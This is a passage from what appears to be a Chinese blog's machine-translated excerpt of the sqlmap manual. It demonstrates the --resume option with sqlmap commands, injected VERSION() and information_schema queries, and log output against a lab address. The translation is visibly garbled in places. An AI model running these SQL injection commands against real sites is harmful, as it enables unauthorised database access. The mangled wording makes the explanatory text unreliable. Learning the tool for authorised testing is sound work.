http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Deb

如果您想要恢复遥远的DBMS 横幅价值, 正义用途 --resume 如下:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

[...]
[hh:mm:13] [INFO] fetching banner
[hh:mm:13] [INFO] query: VERSION()
[hh:mm:13] [INFO] retrieved the length of query: 26
[hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb
[hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log
banner: '5.0.45-Debian_1ubuntu3-log'
如同您能看, sqlmap 第一次检索了横幅询问产品长度, 它然后检索了唯一询问和看您将看某事象这样的记录文件的缺掉部份:
$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
, '6')][66

http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6

http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Deb

[hh:mm:11 MM/DD/YY]
, '3')][33

http://192.168.1.47/page.php?id=1&cat=2][SELECT 3 FROM information_schema.tables LIMIT 0, 1][3

http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Debian_1ubuntu3-log

如果您现在执行同样请求, sqlmap 将恢复整个询问输出从文件, 因为它的被采伐的长度是同样遥远的DBMS 横幅长度:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

[...]
[hh:mm:45] [INFO] fetching banner
[hh:mm:45] [INFO] query: VERSION()
[hh:mm:45] [INFO] retrieved the length of query: 26
[hh:mm:46] [INFO] read from file 'sqlmap.log': 5.0.45-Debian_1ubuntu3-log
banner: '5.0.45-Debian_1ubuntu3-log'

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/3740.html